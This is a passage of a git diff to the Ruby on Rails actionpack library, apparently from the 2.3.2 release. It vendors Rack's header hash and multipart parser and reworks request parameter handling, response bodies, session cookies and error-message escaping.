+ raise 'running context does not respond to #context' unless app_f.respond_to? :context
+ @for, @app = app_f, app_r
+ end
+
+ def call(env)
+ @for.context(env, @app)
+ end
+
+ def recontext(app)
+ self.class.new(@for, app)
+ end
+
+ def context(env, app=@app)
+ recontext(app).call(env)
+ end
+ end
+
+ # A case-insensitive Hash that preserves the original case of a
+ # header when set.
+ class HeaderHash < Hash
+ def initialize(hash={})
+ @names = {}
+ hash.each { |k, v| self[k] = v }
+ end
+
+ def to_hash
+ inject({}) do |hash, (k,v)|
+ if v.respond_to? :to_ary
+ hash[k] = v.to_ary.join("\n")
+ else
+ hash[k] = v
+ end
+ hash
+ end
+ end
+
+ def [](k)
+ super @names[k.downcase]
+ end
+
+ def []=(k, v)
+ delete k
+ @names[k.downcase] = k
+ super k, v
+ end
+
+ def delete(k)
+ super @names.delete(k.downcase)
+ end
+
+ def include?(k)
+ @names.has_key? k.downcase
+ end
+
+ alias_method :has_key?, :include?
+ alias_method :member?, :include?
+ alias_method :key?, :include?
+
+ def merge!(other)
+ other.each { |k, v| self[k] = v }
+ self
+ end
+
+ def merge(other)
+ hash = dup
+ hash.merge! other
+ end
+ end
+
+ # Every standard HTTP code mapped to the appropriate message.
+ # Stolen from Mongrel.
+ HTTP_STATUS_CODES = {
+ 100 => 'Continue',
+ 101 => 'Switching Protocols',
+ 200 => 'OK',
+ 201 => 'Created',
+ 202 => 'Accepted',
+ 203 => 'Non-Authoritative Information',
+ 204 => 'No Content',
+ 205 => 'Reset Content',
+ 206 => 'Partial Content',
+ 300 => 'Multiple Choices',
+ 301 => 'Moved Permanently',
+ 302 => 'Found',
+ 303 => 'See Other',
+ 304 => 'Not Modified',
+ 305 => 'Use Proxy',
+ 307 => 'Temporary Redirect',
+ 400 => 'Bad Request',
+ 401 => 'Unauthorized',
+ 402 => 'Payment Required',
+ 403 => 'Forbidden',
+ 404 => 'Not Found',
+ 405 => 'Method Not Allowed',
+ 406 => 'Not Acceptable',
+ 407 => 'Proxy Authentication Required',
+ 408 => 'Request Timeout',
+ 409 => 'Conflict',
+ 410 => 'Gone',
+ 411 => 'Length Required',
+ 412 => 'Precondition Failed',
+ 413 => 'Request Entity Too Large',
+ 414 => 'Request-URI Too Large',
+ 415 => 'Unsupported Media Type',
+ 416 => 'Requested Range Not Satisfiable',
+ 417 => 'Expectation Failed',
+ 500 => 'Internal Server Error',
+ 501 => 'Not Implemented',
+ 502 => 'Bad Gateway',
+ 503 => 'Service Unavailable',
+ 504 => 'Gateway Timeout',
+ 505 => 'HTTP Version Not Supported'
+ }
+
+ # Responses with HTTP status codes that should not have an entity body
+ STATUS_WITH_NO_ENTITY_BODY = Set.new((100..199).to_a << 204 << 304)
+
+ # A multipart form data parser, adapted from IOWA.
+ #
+ # Usually, Rack::Request#POST takes care of calling this.
+
+ module Multipart
+ EOL = "\r\n"
+
+ def self.parse_multipart(env)
+ unless env['CONTENT_TYPE'] =~
+ %r|\Amultipart/form-data.*boundary=\"?([^\";,]+)\"?|n
+ nil
+ else
+ boundary = "--#{$1}"
+
+ params = {}
+ buf = ""
+ content_length = env['CONTENT_LENGTH'].to_i
+ input = env['rack.input']
+
+ boundary_size = boundary.size + EOL.size
+ bufsize = 16384
+
+ content_length -= boundary_size
+
+ status = input.read(boundary_size)
+ raise EOFError, "bad content body" unless status == boundary + EOL
+
+ rx = /(?:#{EOL})?#{Regexp.quote boundary}(#{EOL}|--)/n
+
+ loop {
+ head = nil
+ body = ''
+ filename = content_type = name = nil
+
+ until head && buf =~ rx
+ if !head && i = buf.index("\r\n\r\n")
+ head = buf.slice!(0, i+2) # First \r\n
+ buf.slice!(0, 2) # Second \r\n
+
+ filename = head[/Content-Disposition:.* filename="?([^\";]*)"?/ni, 1]
+ content_type = head[/Content-Type: (.*)\r\n/ni, 1]
+ name = head[/Content-Disposition:.* name="?([^\";]*)"?/ni, 1]
+
+ if filename
+ body = Tempfile.new("RackMultipart")
+ body.binmode if body.respond_to?(:binmode)
+ end
+
+ next
+ end
+
+ # Save the read body part.
+ if head && (boundary_size+4 < buf.size)
+ body << buf.slice!(0, buf.size - (boundary_size+4))
+ end
+
+ c = input.read(bufsize < content_length ? bufsize : content_length)
+ raise EOFError, "bad content body" if c.nil? || c.empty?
+ buf << c
+ content_length -= c.size
+ end
+
+ # Save the rest.
+ if i = buf.index(rx)
+ body << buf.slice!(0, i)
+ buf.slice!(0, boundary_size+2)
+
+ content_length = -1 if $1 == "--"
+ end
+
+ if filename == ""
+ # filename is blank which means no file has been selected
+ data = nil
+ elsif filename
+ body.rewind
+
+ # Take the basename of the upload's original filename.
+ # This handles the full Windows paths given by Internet Explorer
+ # (and perhaps other broken user agents) without affecting
+ # those which give the lone filename.
+ filename =~ /^(?:.*[:\\\/])?(.*)/m
+ filename = $1
+
+ data = {:filename => filename, :type => content_type,
+ :name => name, :tempfile => body, :head => head}
+ else
+ data = body
+ end
+
+ Utils.normalize_params(params, name, data) unless data.nil?
+
+ break if buf.empty? || content_length == -1
+ }
+
+ begin
+ input.rewind if input.respond_to?(:rewind)
+ rescue Errno::ESPIPE
+ # Handles exceptions raised by input streams that cannot be rewound
+ # such as when using plain CGI under Apache
+ end
+
+ params
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/http/request.rb b/actionpack/lib/action_dispatch/http/request.rb
index a2c14f7ea2..7d47a1566e 100755
--- a/actionpack/lib/action_dispatch/http/request.rb
+++ b/actionpack/lib/action_dispatch/http/request.rb
@@ -31,7 +31,7 @@ module ActionDispatch
# <tt>:get</tt>. If the request \method is not listed in the HTTP_METHODS
# constant above, an UnknownHttpMethod exception is raised.
def request_method
- HTTP_METHOD_LOOKUP[super] || raise(ActionController::UnknownHttpMethod, "#{super}, accepted HTTP methods are #{HTTP_METHODS.to_sentence}")
+ @request_method ||= HTTP_METHOD_LOOKUP[super] || raise(ActionController::UnknownHttpMethod, "#{super}, accepted HTTP methods are #{HTTP_METHODS.to_sentence(:locale => :en)}")
end
# Returns the HTTP request \method used for action processing as a
@@ -431,15 +431,15 @@ EOM
FORM_DATA_MEDIA_TYPES.include?(content_type.to_s)
end
- # Override Rack's GET method to support nested query strings
+ # Override Rack's GET method to support indifferent access
def GET
- @env["action_controller.request.query_parameters"] ||= UrlEncodedPairParser.parse_query_parameters(query_string)
+ @env["action_controller.request.query_parameters"] ||= normalize_parameters(super)
end
alias_method :query_parameters, :GET
- # Override Rack's POST method to support nested query strings
+ # Override Rack's POST method to support indifferent access
def POST
- @env["action_controller.request.request_parameters"] ||= UrlEncodedPairParser.parse_hash_parameters(super)
+ @env["action_controller.request.request_parameters"] ||= normalize_parameters(super)
end
alias_method :request_parameters, :POST
@@ -456,6 +456,7 @@ EOM
end
def reset_session
+ @env['rack.session.options'].delete(:id)
@env['rack.session'] = {}
end
@@ -475,5 +476,28 @@ EOM
def named_host?(host)
!(host.nil? || /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/.match(host))
end
+
+ # Convert nested Hashs to HashWithIndifferentAccess and replace
+ # file upload hashs with UploadedFile objects
+ def normalize_parameters(value)
+ case value
+ when Hash
+ if value.has_key?(:tempfile)
+ upload = value[:tempfile]
+ upload.extend(UploadedFile)
+ upload.original_path = value[:filename]
+ upload.content_type = value[:type]
+ upload
+ else
+ h = {}
+ value.each { |k, v| h[k] = normalize_parameters(v) }
+ h.with_indifferent_access
+ end
+ when Array
+ value.map { |e| normalize_parameters(e) }
+ else
+ value
+ end
+ end
end
end
diff --git a/actionpack/lib/action_dispatch/http/response.rb b/actionpack/lib/action_dispatch/http/response.rb
index e1d8ee3527..ecf40b8103 100644
--- a/actionpack/lib/action_dispatch/http/response.rb
+++ b/actionpack/lib/action_dispatch/http/response.rb
@@ -40,14 +40,28 @@ module ActionDispatch # :nodoc:
delegate :default_charset, :to => 'ActionController::Base'
def initialize
- @status = 200
- @header = DEFAULT_HEADERS.dup
+ super
+ @header = Rack::Utils::HeaderHash.new(DEFAULT_HEADERS)
+ @session, @assigns = [], []
+ end
- @writer = lambda { |x| @body << x }
- @block = nil
+ def body
+ str = ''
+ each { |part| str << part.to_s }
+ str
+ end
- @body = "",
- @session, @assigns = [], []
+ def body=(body)
+ @body =
+ if body.is_a?(String)
+ [body]
+ else
+ body
+ end
+ end
+
+ def body_parts
+ @body
end
def location; headers['Location'] end
@@ -144,7 +158,6 @@ module ActionDispatch # :nodoc:
set_content_length!
convert_content_type!
convert_language!
- convert_expires!
convert_cookies!
end
@@ -153,7 +166,7 @@ module ActionDispatch # :nodoc:
@writer = lambda { |x| callback.call(x) }
@body.call(self, self)
elsif @body.is_a?(String)
- @body.each_line(&callback)
+ callback.call(@body)
else
@body.each(&callback)
end
@@ -163,37 +176,20 @@ module ActionDispatch # :nodoc:
end
def write(str)
- @writer.call str.to_s
+ str = str.to_s
+ @writer.call str
str
end
- # Over Rack::Response#set_cookie to add HttpOnly option
def set_cookie(key, value)
- case value
- when Hash
- domain = "; domain=" + value[:domain] if value[:domain]
- path = "; path=" + value[:path] if value[:path]
- # According to RFC 2109, we need dashes here.
- # N.B.: cgi.rb uses spaces...
- expires = "; expires=" + value[:expires].clone.gmtime.
- strftime("%a, %d-%b-%Y %H:%M:%S GMT") if value[:expires]
- secure = "; secure" if value[:secure]
- httponly = "; HttpOnly" if value[:http_only]
- value = value[:value]
- end
- value = [value] unless Array === value
- cookie = ::Rack::Utils.escape(key) + "=" +
- value.map { |v| ::Rack::Utils.escape v }.join("&") +
- "#{domain}#{path}#{expires}#{secure}#{httponly}"
-
- case self["Set-Cookie"]
- when Array
- self["Set-Cookie"] << cookie
- when String
- self["Set-Cookie"] = [self["Set-Cookie"], cookie]
- when nil
- self["Set-Cookie"] = cookie
+ if value.has_key?(:http_only)
+ ActiveSupport::Deprecation.warn(
+ "The :http_only option in ActionController::Response#set_cookie " +
+ "has been renamed. Please use :httponly instead.", caller)
+ value[:httponly] ||= value.delete(:http_only)
end
+
+ super(key, value)
end
private
@@ -205,7 +201,7 @@ module ActionDispatch # :nodoc:
if request && request.etag_matches?(etag)
self.status = '304 Not Modified'
- self.body = ''
+ self.body = []
end
set_conditional_cache_control!
@@ -214,7 +210,11 @@ module ActionDispatch # :nodoc:
def nonempty_ok_response?
ok = !status || status.to_s[0..2] == '200'
- ok && body.is_a?(String) && !body.empty?
+ ok && string_body?
+ end
+
+ def string_body?
+ !body_parts.respond_to?(:call) && body_parts.any? && body_parts.all? { |part| part.is_a?(String) }
end
def set_conditional_cache_control!
@@ -235,8 +235,8 @@ module ActionDispatch # :nodoc:
headers.delete('Content-Length')
elsif length = headers['Content-Length']
headers['Content-Length'] = length.to_s
- elsif !body.respond_to?(:call) && (!status || status.to_s[0..2] != '304')
- headers["Content-Length"] = body.size.to_s
+ elsif string_body? && (!status || status.to_s[0..2] != '304')
+ headers["Content-Length"] = Rack::Utils.bytesize(body).to_s
end
end
@@ -244,10 +244,6 @@ module ActionDispatch # :nodoc:
headers["Content-Language"] = headers.delete("language") if headers["language"]
end
- def convert_expires!
- headers["Expires"] = headers.delete("") if headers["expires"]
- end
-
def convert_cookies!
headers['Set-Cookie'] = Array(headers['Set-Cookie']).compact
end
diff --git a/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb b/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb
index 879d98fbdb..6c039cf62d 100644
--- a/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb
+++ b/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb
@@ -17,16 +17,11 @@ module ActionDispatch
@loaded = false
end
- def id
- load! unless @loaded
- @id
- end
-
def session_id
ActiveSupport::Deprecation.warn(
- "ActionController::Session::AbstractStore::SessionHash#session_id" +
- "has been deprecated.Please use #id instead.", caller)
- id
+ "ActionController::Session::AbstractStore::SessionHash#session_id " +
+ "has been deprecated. Please use request.session_options[:id] instead.", caller)
+ @env[ENV_SESSION_OPTIONS_KEY][:id]
end
def [](key)
@@ -47,20 +42,45 @@ module ActionDispatch
def data
ActiveSupport::Deprecation.warn(
- "ActionController::Session::AbstractStore::SessionHash#data" +
- "has been deprecated.Please use #to_hash instead.", caller)
+ "ActionController::Session::AbstractStore::SessionHash#data " +
+ "has been deprecated. Please use #to_hash instead.", caller)
to_hash
end
+ def inspect
+ load! unless @loaded
+ super
+ end
+
private
def loaded?
@loaded
end
def load!
- @id, session = @by.send(:load_session, @env)
- replace(session)
- @loaded = true
+ stale_session_check! do
+ id, session = @by.send(:load_session, @env)
+ (@env[ENV_SESSION_OPTIONS_KEY] ||= {})[:id] = id
+ replace(session)
+ @loaded = true
+ end
+ end
+
+ def stale_session_check!
+ yield
+ rescue ArgumentError => argument_error
+ if argument_error.message =~ %r{undefined class/module ([\w:]*\w)}
+ begin
+ # Note that the regexp does not allow $1 to end with a ':'
+ $1.constantize
+ rescue LoadError, NameError => const_error
+ raise ActionController::SessionRestoreError, "Session contains objects whose class definition isn\\'t available.\nRemember to require the classes for all objects kept in the session.\n(Original exception: \#{const_error.message} [\#{const_error.class}])\n"
+ end
+
+ retry
+ else
+ raise
+ end
end
end
@@ -107,11 +127,7 @@ module ActionDispatch
if !session_data.is_a?(AbstractStore::SessionHash) || session_data.send(:loaded?) || options[:expire_after]
session_data.send(:load!) if session_data.is_a?(AbstractStore::SessionHash) && !session_data.send(:loaded?)
- if session_data.is_a?(AbstractStore::SessionHash)
- sid = session_data.id
- else
- sid = generate_sid
- end
+ sid = options[:id] || generate_sid
unless set_session(env, sid, session_data.to_hash)
return response
@@ -128,12 +144,9 @@ module ActionDispatch
cookie << "; HttpOnly" if options[:httponly]
headers = response[1]
- case a = headers[SET_COOKIE]
- when Array
- a << cookie
- when String
- headers[SET_COOKIE] = [a, cookie]
- when nil
+ unless headers[SET_COOKIE].blank?
+ headers[SET_COOKIE] << "\n#{cookie}"
+ else
headers[SET_COOKIE] = cookie
end
end
diff --git a/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
index ec93f66a88..433c4cc070 100644
--- a/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
+++ b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
@@ -88,7 +88,7 @@ module ActionDispatch
def call(env)
env[ENV_SESSION_KEY] = AbstractStore::SessionHash.new(self, env)
- env[ENV_SESSION_OPTIONS_KEY] = @default_options
+ env[ENV_SESSION_OPTIONS_KEY] = @default_options.dup
status, headers, body = @app.call(env)
@@ -108,12 +108,9 @@ module ActionDispatch
end
cookie = build_cookie(@key, cookie.merge(options))
- case headers[HTTP_SET_COOKIE]
- when Array
- headers[HTTP_SET_COOKIE] << cookie
- when String
- headers[HTTP_SET_COOKIE] = [headers[HTTP_SET_COOKIE], cookie]
- when nil
+ unless headers[HTTP_SET_COOKIE].blank?
+ headers[HTTP_SET_COOKIE] << "\n#{cookie}"
+ else
headers[HTTP_SET_COOKIE] = cookie
end
end
@@ -133,7 +130,7 @@ module ActionDispatch
expires = "; expires=" + value[:expires].clone.gmtime.
strftime("%a, %d-%b-%Y %H:%M:%S GMT") if value[:expires]
secure = "; secure" if value[:secure]
- httponly = "; httponly" if value[:httponly]
+ httponly = "; HttpOnly" if value[:httponly]
value = value[:value]
end
value = [value] unless Array === value
diff --git a/actionpack/lib/action_dispatch/rack.rb b/actionpack/lib/action_dispatch/rack.rb
index 69df9dac06..89087c124f 100644
--- a/actionpack/lib/action_dispatch/rack.rb
+++ b/actionpack/lib/action_dispatch/rack.rb
@@ -1,3 +1,3 @@
-require 'action_dispatch/rack/lock'
-require 'action_dispatch/rack/multipart'
-require 'action_dispatch/rack/parse_query'
+# require 'action_dispatch/rack/lock'
+# require 'action_dispatch/rack/multipart'
+# require 'action_dispatch/rack/parse_query'
diff --git a/actionpack/lib/action_dispatch/rack/lock.rb b/actionpack/lib/action_dispatch/rack/lock.rb
deleted file mode 100644
index 9bf1889065..0000000000
--- a/actionpack/lib/action_dispatch/rack/lock.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-module Rack
- # Rack::Lock was commited to Rack core
- # http://github.com/rack/rack/commit/7409b0c
- # Remove this when Rack 1.0 is released
- unless defined? Lock
- class Lock
- FLAG = 'rack.multithread'.freeze
-
- def initialize(app, lock = Mutex.new)
- @app, @lock = app, lock
- end
-
- def call(env)
- old, env[FLAG] = env[FLAG], false
- @lock.synchronize { @app.call(env) }
- ensure
- env[FLAG] = old
- end
- end
- end
-end
diff --git a/actionpack/lib/action_dispatch/rack/multipart.rb b/actionpack/lib/action_dispatch/rack/multipart.rb
deleted file mode 100644
index 3b142307e9..0000000000
--- a/actionpack/lib/action_dispatch/rack/multipart.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-module Rack
- module Utils
- module Multipart
- class << self
- def parse_multipart_with_rewind(env)
- result = parse_multipart_without_rewind(env)
-
- begin
- env['rack.input'].rewind if env['rack.input'].respond_to?(:rewind)
- rescue Errno::ESPIPE
- # Handles exceptions raised by input streams that cannot be rewound
- # such as when using plain CGI under Apache
- end
-
- result
- end
-
- alias_method_chain :parse_multipart, :rewind
- end
- end
- end
-end
diff --git a/actionpack/lib/action_dispatch/rack/parse_query.rb b/actionpack/lib/action_dispatch/rack/parse_query.rb
deleted file mode 100644
index 15de720f14..0000000000
--- a/actionpack/lib/action_dispatch/rack/parse_query.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# Rack does not automatically cleanup Safari 2 AJAX POST body
-# This has not yet been commited to Rack, please +1 this ticket:
-# http://rack.lighthouseapp.com/projects/22435/tickets/19
-
-module Rack
- module Utils
- alias_method :parse_query_without_ajax_body_cleanup, :parse_query
- module_function :parse_query_without_ajax_body_cleanup
-
- def parse_query(qs, d = '&;')
- qs = qs.to_s.dup
- qs.chop! if qs[-1] == 0
- qs.gsub!(/&_=$/, '')
- parse_query_without_ajax_body_cleanup(qs, d)
- end
- module_function :parse_query
- end
-end
diff --git a/actionpack/lib/action_dispatch/utils/middleware_stack.rb b/actionpack/lib/action_dispatch/utils/middleware_stack.rb
index 924e3dbbc2..ee5f28d5cb 100644
--- a/actionpack/lib/action_dispatch/utils/middleware_stack.rb
+++ b/actionpack/lib/action_dispatch/utils/middleware_stack.rb
@@ -27,7 +27,9 @@ module ActionDispatch
end
def klass
- if @klass.is_a?(Class)
+ if @klass.respond_to?(:call)
+ @klass.call
+ elsif @klass.is_a?(Class)
@klass
else
@klass.to_s.constantize
@@ -37,6 +39,8 @@ module ActionDispatch
end
def active?
+ return false unless klass
+
if @conditional.respond_to?(:call)
@conditional.call
else
@@ -63,11 +67,17 @@ module ActionDispatch
def build(app)
if block
- klass.new(app, *args, &block)
+ klass.new(app, *build_args, &block)
else
- klass.new(app, *args)
+ klass.new(app, *build_args)
end
end
+
+ private
+
+ def build_args
+ Array(args).map { |arg| arg.respond_to?(:call) ? arg.call : arg }
+ end
end
def initialize(*args, &block)
diff --git a/actionpack/lib/action_dispatch/utils/url_encoded_pair_parser.rb b/actionpack/lib/action_dispatch/utils/url_encoded_pair_parser.rb
deleted file mode 100644
index f2e832a977..0000000000
--- a/actionpack/lib/action_dispatch/utils/url_encoded_pair_parser.rb
+++ /dev/null
@@ -1,155 +0,0 @@
-module ActionDispatch
- class UrlEncodedPairParser < StringScanner #:nodoc:
- class << self
- def parse_query_parameters(query_string)
- return {} if query_string.blank?
-
- pairs = query_string.split('&').collect do |chunk|
- next if chunk.empty?
- key, value = chunk.split('=', 2)
- next if key.empty?
- value = value.nil? ? nil : CGI.unescape(value)
- [ CGI.unescape(key), value ]
- end.compact
-
- new(pairs).result
- end
-
- def parse_hash_parameters(params)
- parser = new
-
- params = params.dup
- until params.empty?
- for key, value in params
- if key.blank?
- params.delete(key)
- elsif value.is_a?(Array)
- parser.parse(key, get_typed_value(value.shift))
- params.delete(key) if value.empty?
- else
- parser.parse(key, get_typed_value(value))
- params.delete(key)
- end
- end
- end
-
- parser.result
- end
-
- private
- def get_typed_value(value)
- case value
- when String
- value
- when NilClass
- ''
- when Array
- value.map { |v| get_typed_value(v) }
- when Hash
- if value.has_key?(:tempfile) && value[:filename].any?
- upload = value[:tempfile]
- upload.extend(UploadedFile)
- upload.original_path = value[:filename]
- upload.content_type = value[:type]
- upload
- else
- nil
- end
- else
- raise "Unknown form value: #{value.inspect}"
- end
- end
- end
-
- attr_reader :top, :parent, :result
-
- def initialize(pairs = [])
- super('')
- @result = {}
- pairs.each { |key, value| parse(key, value) }
- end
-
- KEY_REGEXP = %r{([^\[\]=&]+)}
- BRACKETED_KEY_REGEXP = %r{\[([^\[\]=&]+)\]}
-
- # Parse the query string
- def parse(key, value)
- self.string = key
- @top, @parent = result, nil
-
- # First scan the bare key
- key = scan(KEY_REGEXP) or return
- key = post_key_check(key)
-
- # Then scan as many nestings as present
- until eos?
- r = scan(BRACKETED_KEY_REGEXP) or return
- key = self[1]
- key = post_key_check(key)
- end
-
- bind(key, value)
- end
-
- private
- # After we see a key, we must look ahead to determine our next action. Cases:
- #
- # [] follows the key. Then the value must be an array.
- # = follows the key. (A value comes next)
- # & or the end of string follows the key. Then the key is a flag.
- # otherwise, a hash follows the key.
- def post_key_check(key)
- if scan(/\[\]/) # a[b][] indicates that b is an array
- container(key, Array)
- nil
- elsif check(/\[[^\]]/) # a[b] indicates that a is a hash
- container(key, Hash)
- nil
- else # End of key? We do nothing.
- key
- end
- end
-
- # Add a container to the stack.
- def container(key, klass)
- type_conflict! klass, top[key] if top.is_a?(Hash) && top.key?(key) && ! top[key].is_a?(klass)
- value = bind(key, klass.new)
- type_conflict! klass, value unless value.is_a?(klass)
- push(value)
- end
-
- # Push a value onto the 'stack', which is actually only the top 2 items.
- def push(value)
- @parent, @top = @top, value
- end
-
- # Bind a key (which may be nil for items in an array) to the provided value.
- def bind(key, value)
- if top.is_a? Array
- if key
- if top[-1].is_a?(Hash) && ! top[-1].key?(key)
- top[-1][key] = value
- else
- top << {key => value}.with_indifferent_access
- end
- push top.last
- return top[key]
- else
- top << value
- return value
- end
- elsif top.is_a? Hash
- key = CGI.unescape(key)
- parent << (@top = {}) if top.key?(key) && parent.is_a?(Array)
- top[key] ||= value
- return top[key]
- else
- raise ArgumentError, "Don't know what to do: top is #{top.inspect}"
- end
- end
-
- def type_conflict!(klass, value)
- raise TypeError, "Conflicting types for parameter containers. Expected an instance of #{klass} but found an instance of #{value.class}. This can be caused by colliding Array and Hash parameters like qs[]=value&qs[key]=value. (The parameters received were #{value.inspect}.)"
- end
- end
-end
diff --git a/actionpack/lib/action_pack/version.rb b/actionpack/lib/action_pack/version.rb
index f20e44a7d5..e0aa2a5f2f 100644
--- a/actionpack/lib/action_pack/version.rb
+++ b/actionpack/lib/action_pack/version.rb
@@ -2,7 +2,7 @@ module ActionPack #:nodoc:
module VERSION #:nodoc:
MAJOR = 2
MINOR = 3
- TINY = 0
+ TINY = 2
STRING = [MAJOR, MINOR, TINY].join('.')
end
diff --git a/actionpack/lib/action_view/base.rb b/actionpack/lib/action_view/base.rb
index ada9052073..efed19a21d 100644
--- a/actionpack/lib/action_view/base.rb
+++ b/actionpack/lib/action_view/base.rb
@@ -182,6 +182,15 @@ module ActionView #:nodoc:
# that alert()s the caught exception (and then re-raises it).
cattr_accessor :debug_rjs
+ # Specify whether templates should be cached. Otherwise the file we be read everytime it is accessed.
+ # Automatically reloading templates are not thread safe and should only be used in development mode.
+ @@cache_template_loading = nil
+ cattr_accessor :cache_template_loading
+
+ def self.cache_template_loading?
+ ActionController::Base.allow_concurrency || (cache_template_loading.nil? ? !ActiveSupport::Dependencies.load? : cache_template_loading)
+ end
+
attr_internal :request
delegate :controller_path, :to => :controller, :allow_nil => true
@@ -217,10 +226,12 @@ module ActionView #:nodoc:
@formats = formats || [:html]
@assigns = assigns_for_first_render
@assigns_added = nil
- @_render_stack = []
@controller = controller
@helpers = ProxyModule.new(self)
self.view_paths = view_paths
+
+ @_first_render = nil
+ @_current_render = nil
end
attr_reader :view_paths
@@ -232,7 +243,25 @@ module ActionView #:nodoc:
# Access the current template being rendered.
# Returns a ActionView::Template object.
def template
- @_render_stack.last
+ @_current_render
+ end
+
+ def template=(template) #:nodoc:
+ @_first_render ||= template
+ @_current_render = template
+ end
+
+ def with_template(current_template)
+ last_template, self.template = template, current_template
+ yield
+ ensure
+ self.template = last_template
+ end
+
+ def punctuate_body!(part)
+ flush_output_buffer
+ response.body_parts << part
+ nil
end
private
diff --git a/actionpack/lib/action_view/helpers/active_record_helper.rb b/actionpack/lib/action_view/helpers/active_record_helper.rb
index 8b56d241ae..7c0dfdab10 100644
--- a/actionpack/lib/action_view/helpers/active_record_helper.rb
+++ b/actionpack/lib/action_view/helpers/active_record_helper.rb
@@ -121,7 +121,7 @@ module ActionView
if (obj = (object.respond_to?(:errors) ? object : instance_variable_get("@#{object}"))) &&
(errors = obj.errors.on(method))
content_tag("div",
- "#{options[:prepend_text]}#{errors.is_a?(Array) ? errors.first : errors}#{options[:append_text]}",
+ "#{options[:prepend_text]}#{ERB::Util.html_escape(errors.is_a?(Array) ? errors.first : errors)}#{options[:append_text]}",
:class => options[:css_class]
)
else
@@ -194,11 +194,11 @@ module ActionView
options[:header_message]
else
object_name = options[:object_name].to_s.gsub('_', ' ')
- object_name = I18n.t(object_name, :default => object_name, :scope => [:activerecord, :models], :count => 1)
+ object_name = I18n.t(options[:object_name].to_s, :default => object_name, :scope => [:activerecord, :models], :count => 1)
locale.t :header, :count => count, :model => object_name
end
message = options.include?(:message) ? options[:message] : locale.t(:body)
- error_messages = objects.sum {|object| object.errors.full_messages.map {|msg| content_tag(:li, msg) } }.join
+ error_messages = objects.sum {|object| object.errors.full_messages.map {|msg| content_tag(:li, ERB::Util.html_escape(msg)) } }.join
contents = ''
contents << content_tag(options[:header_tag] || :h2, header_message) unless header_message.blank?
diff --git a/actionpack/lib/action_view/helpers/asset_tag_helper.rb b/actionpack/lib/action_view/helpers/asset_tag_helper.rb
index f6abea38ed..a32beb6100 100644
--- a/actionpack/lib/action_view/helpers/asset_tag_helper.rb
+++ b/actionpack/lib/action_view/helpers/asset_tag_helper.rb
@@ -516,7 +516,8 @@ module ActionView
def compute_public_path(source, dir, ext = nil, include_host = true)
has_request = @controller.respond_to?(:request)
- if ext && (File.extname(source).blank? || File.exist?(File.join(ASSETS_DIR, dir, "#{source}.#{ext}")))
+ source_ext = File.extname(source)[1..-1]
+ if ext && (source_ext.blank? || (ext != source_ext && File.exist?(File.join(ASSETS_DIR, dir, "#{source}.#{ext}"))))
source += ".#{ext}"
end
diff --git a/actionpack/lib/action_view/helpers/atom_feed_helper.rb b/actionpack/lib/action_view/helpers/atom_feed_helper.rb
index cd25684940..dc4497581c 100644
--- a/actionpack/lib/action_view/helpers/atom_feed_helper.rb
+++ b/actionpack/lib/action_view/helpers/atom_feed_helper.rb
@@ -30,7 +30,7 @@ module ActionView
# app/views/posts/index.atom.builder:
# atom_feed do |feed|
# feed.title("My great blog!")
- # feed.updated((@posts.first.created_at))
+ # feed.updated(@posts.first.created_at)
#
# for post in @posts
# feed.entry(post) do |entry|
diff --git a/actionpack/lib/action_view/helpers/capture_helper.rb b/actionpack/lib/action_view/helpers/capture_helper.rb
index e86ca27f31..9e39536653 100644
--- a/actionpack/lib/action_view/helpers/capture_helper.rb
+++ b/actionpack/lib/action_view/helpers/capture_helper.rb
@@ -131,6 +131,14 @@ module ActionView
ensure
self.output_buffer = old_buffer
end
+
+ # Add the output buffer to the response body and start a new one.
+ def flush_output_buffer #:nodoc:
+ if output_buffer && output_buffer != ''
+ response.body_parts << output_buffer
+ self.output_buffer = ''
+ end
+ end
end
end
end
diff --git a/actionpack/lib/action_view/helpers/date_helper.rb b/actionpack/lib/action_view/helpers/date_helper.rb
index b4c1adbe76..c74909a360 100644
--- a/actionpack/lib/action_view/helpers/date_helper.rb
+++ b/actionpack/lib/action_view/helpers/date_helper.rb
@@ -876,8 +876,8 @@ module ActionView
input_name_from_type(type).gsub(/([\[\(])|(\]\[)/, '_').gsub(/[\]\)]/, '')
end
- # Given an ordering of datetime components, create the selection html
- # and join them with their appropriate seperators
+ # Given an ordering of datetime components, create the selection HTML
+ # and join them with their appropriate separators.
def build_selects_from_types(order)
select = ''
order.reverse.each do |type|
@@ -931,7 +931,7 @@ module ActionView
end
def default_datetime(options)
- return if options[:include_blank]
+ return if options[:include_blank] || options[:prompt]
case options[:default]
when nil
diff --git a/actionpack/lib/action_view/helpers/form_helper.rb b/actionpack/lib/action_view/helpers/form_helper.rb
index a85751c657..a59829b23f 100644
--- a/actionpack/lib/action_view/helpers/form_helper.rb
+++ b/actionpack/lib/action_view/helpers/form_helper.rb
@@ -5,17 +5,24 @@ require 'action_view/helpers/form_tag_helper'
module ActionView
module Helpers
- # Form helpers are designed to make working with models much easier compared to using just standard HTML
- # elements by providing a set of methods for creating forms based on your models. This helper generates the HTML
- # for forms, providing a method for each sort of input (e.g., text, password, select, and so on). When the form
- # is submitted (i.e., when the user hits the submit button or <tt>form.submit</tt> is called via JavaScript), the form inputs will be bundled into the <tt>params</tt> object and passed back to the controller.
+ # Form helpers are designed to make working with models much easier
+ # compared to using just standard HTML elements by providing a set of
+ # methods for creating forms based on your models. This helper generates
+ # the HTML for forms, providing a method for each sort of input
+ # (e.g., text, password, select, and so on). When the form is submitted
+ # (i.e., when the user hits the submit button or <tt>form.submit</tt> is
+ # called via JavaScript), the form inputs will be bundled into the
+ # <tt>params</tt> object and passed back to the controller.
#
- # There are two types of form helpers: those that specifically work with model attributes and those that don't.
- # This helper deals with those that work with model attributes; to see an example of form helpers that don't work
- # with model attributes, check the ActionView::Helpers::FormTagHelper documentation.
+ # There are two types of form helpers: those that specifically work with
